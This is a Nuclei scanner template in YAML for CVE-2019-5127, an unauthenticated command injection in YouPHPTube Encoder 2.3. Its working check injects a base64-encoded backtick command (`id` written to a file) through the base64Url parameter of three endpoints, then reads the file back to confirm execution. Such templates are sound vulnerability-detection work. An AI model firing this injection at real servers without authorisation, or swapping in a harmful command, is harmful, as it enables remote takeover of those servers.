65 lines
2.1 KiB
YAML
65 lines
2.1 KiB
YAML
id: CVE-2019-5127
|
|
|
|
info:
|
|
name: YouPHPTube Encoder 2.3 - Remote Command Injection
|
|
author: pikpikcu
|
|
severity: critical
|
|
description: YouPHPTube Encoder 2.3 is susceptible to a command injection vulnerability which could allow an attacker to compromise the server. These exploitable unauthenticated command injections exist via the parameter base64Url in /objects/getImage.php.
|
|
remediation: |
|
|
Apply the latest patch or upgrade to a version that is not affected by this vulnerability.
|
|
reference:
|
|
- https://talosintelligence.com/vulnerability_reports/TALOS-2019-0917
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-5127
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2019-5127
|
|
cwe-id: CWE-78
|
|
epss-score: 0.97433
|
|
epss-percentile: 0.99933
|
|
cpe: cpe:2.3:a:youphptube:youphptube_encoder:2.3:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 4
|
|
vendor: youphptube
|
|
product: youphptube_encoder
|
|
tags: cve,cve2019,rce,youphptube
|
|
variables:
|
|
filename: "{{to_lower(rand_text_alpha(5))}}"
|
|
encode: "`id > {{filename}}.txt`"
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/objects/getImage.php?base64Url={{base64(encode)}}=&format=png"
|
|
- "{{BaseURL}}/objects/getImageMP4.php?base64Url={{base64(encode)}}=&format=jpg"
|
|
- "{{BaseURL}}/objects/getSpiritsFromVideo.php?base64Url={{base64(encode)}}=&format=jpg"
|
|
|
|
headers:
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/objects/{{filename}}.txt"
|
|
|
|
headers:
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "uid="
|
|
- "gid="
|
|
- "groups="
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/plain
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022100b45af3d2743cfd3bfbc844b0f16fb5568e30b1593ab063466d10ec70a2caffdc0220017c814ac53303a07b41ed4c30d71ec3efe3d6fbbfd96655ad03beba24169ac9:922c64590222798bb761d5b6d8e72950 |